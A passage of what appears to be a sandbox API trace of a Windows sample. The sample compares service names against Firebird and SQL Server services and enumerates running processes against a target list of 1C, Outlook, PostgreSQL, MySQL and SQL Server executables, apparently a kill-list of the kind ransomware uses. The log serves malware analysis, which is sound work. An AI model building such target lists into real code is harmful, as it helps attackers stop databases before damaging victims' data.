[0230.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0230.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0230.214] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0230.214] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0230.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0230.215] lstrlenW (lpString="AudioSrv") returned 8 [0230.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0230.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0230.215] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0230.215] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0230.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0230.215] lstrlenW (lpString="BFE") returned 3 [0230.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0230.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0230.215] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0230.215] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0230.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0230.215] lstrlenW (lpString="CryptSvc") returned 8 [0230.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0230.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0230.216] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0230.216] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0230.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0230.216] lstrlenW (lpString="CscService") returned 10 [0230.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0230.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0230.216] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0230.216] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0230.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0230.216] lstrlenW (lpString="DcomLaunch") returned 10 [0230.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0230.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0230.216] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0230.217] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0230.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0230.217] lstrlenW (lpString="Dhcp") returned 4 [0230.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0230.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0230.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0230.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0230.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0230.218] lstrlenW (lpString="Dnscache") returned 8 [0230.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0230.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0230.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0230.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0230.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0230.218] lstrlenW (lpString="DPS") returned 3 [0230.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0230.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0230.219] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0230.219] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0230.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0230.219] lstrlenW (lpString="eventlog") returned 8 [0230.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0230.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0230.219] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0230.219] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0230.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0230.219] lstrlenW (lpString="EventSystem") returned 11 [0230.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0230.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0230.220] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0230.220] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0230.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0230.220] lstrlenW (lpString="gpsvc") returned 5 [0230.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0230.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0230.220] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0230.220] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0230.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0230.220] lstrlenW (lpString="LanmanWorkstation") returned 17 [0230.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0230.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0230.221] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0230.221] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0230.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0230.221] lstrlenW (lpString="lmhosts") returned 7 [0230.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0230.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0230.221] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0230.221] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0230.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0230.221] lstrlenW (lpString="MMCSS") returned 5 [0230.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0230.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0230.221] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0230.222] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0230.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0230.222] lstrlenW (lpString="MpsSvc") returned 6 [0230.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0230.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0230.222] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0230.222] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0230.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0230.222] lstrlenW (lpString="NlaSvc") returned 6 [0230.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0230.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0230.222] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0230.222] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0230.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0230.223] lstrlenW (lpString="nsi") returned 3 [0230.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0230.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0230.223] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0230.223] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0230.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0230.223] lstrlenW (lpString="PcaSvc") returned 6 [0230.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0230.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0230.223] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0230.224] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0230.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0230.224] lstrlenW (lpString="PlugPlay") returned 8 [0230.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0230.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0230.224] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0230.224] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0230.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0230.224] lstrlenW (lpString="Power") returned 5 [0230.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0230.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0230.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0230.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0230.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0230.224] lstrlenW (lpString="ProfSvc") returned 7 [0230.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0230.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0230.225] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0230.225] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0230.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0230.225] lstrlenW (lpString="RpcEptMapper") returned 12 [0230.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.225] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0230.225] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0230.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0230.225] lstrlenW (lpString="RpcSs") returned 5 [0230.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0230.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0230.225] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0230.225] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0230.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0230.226] lstrlenW (lpString="SamSs") returned 5 [0230.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0230.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0230.226] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0230.226] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0230.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0230.226] lstrlenW (lpString="Schedule") returned 8 [0230.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0230.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0230.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0230.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0230.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0230.226] lstrlenW (lpString="SENS") returned 4 [0230.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0230.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0230.227] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0230.227] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0230.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0230.227] lstrlenW (lpString="ShellHWDetection") returned 16 [0230.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.227] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0230.227] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0230.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0230.227] lstrlenW (lpString="Spooler") returned 7 [0230.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0230.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0230.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0230.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0230.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0230.228] lstrlenW (lpString="SysMain") returned 7 [0230.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0230.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0230.228] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0230.228] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0230.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0230.229] lstrlenW (lpString="Themes") returned 6 [0230.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0230.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0230.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0230.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0230.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0230.229] lstrlenW (lpString="TrkWks") returned 6 [0230.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0230.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0230.229] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0230.229] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0230.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0230.229] lstrlenW (lpString="UxSms") returned 5 [0230.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0230.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0230.230] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0230.230] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0230.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0230.230] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0230.230] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ac [0230.236] Process32FirstW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.237] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.238] lstrlenW (lpString="System") returned 6 [0230.238] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0230.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0230.238] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0230.238] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0230.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0230.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0230.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0230.238] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.239] lstrlenW (lpString="smss.exe") returned 8 [0230.240] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0230.240] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0230.240] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0230.240] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0230.240] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0230.240] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0230.240] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0230.240] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.241] lstrlenW (lpString="csrss.exe") returned 9 [0230.241] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0230.241] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0230.242] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0230.242] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0230.242] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0230.242] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0230.242] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0230.242] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.243] lstrlenW (lpString="wininit.exe") returned 11 [0230.243] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0230.243] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0230.243] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0230.243] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0230.243] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0230.243] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0230.244] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0230.244] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.245] lstrlenW (lpString="csrss.exe") returned 9 [0230.245] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0230.245] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0230.245] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0230.245] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0230.245] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0230.245] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0230.245] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0230.245] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.246] lstrlenW (lpString="winlogon.exe") returned 12 [0230.246] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0230.246] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0230.246] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0230.246] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0230.246] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0230.246] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0230.247] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0230.247] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.248] lstrlenW (lpString="services.exe") returned 12 [0230.248] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0230.248] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0230.248] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0230.248] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0230.248] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0230.248] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0230.248] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0230.248] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.283] lstrlenW (lpString="lsass.exe") returned 9 [0230.283] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0230.283] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0230.283] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0230.283] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0230.284] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0230.284] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0230.284] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0230.284] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0230.286] lstrlenW (lpString="lsm.exe") returned 7 [0230.286] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0230.286] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0230.286] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0230.286] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0230.286] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0230.286] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0230.287] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0230.287] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.288] lstrlenW (lpString="svchost.exe") returned 11 [0230.289] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0230.289] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0230.289] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0230.289] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0230.289] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0230.289] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0230.289] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0230.289] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.291] lstrlenW (lpString="svchost.exe") returned 11 [0230.291] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0230.291] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0230.291] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0230.291] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0230.292] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0230.292] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0230.292] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0230.292] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.294] lstrlenW (lpString="svchost.exe") returned 11 [0230.294] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0230.294] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0230.294] lstrcmpiW 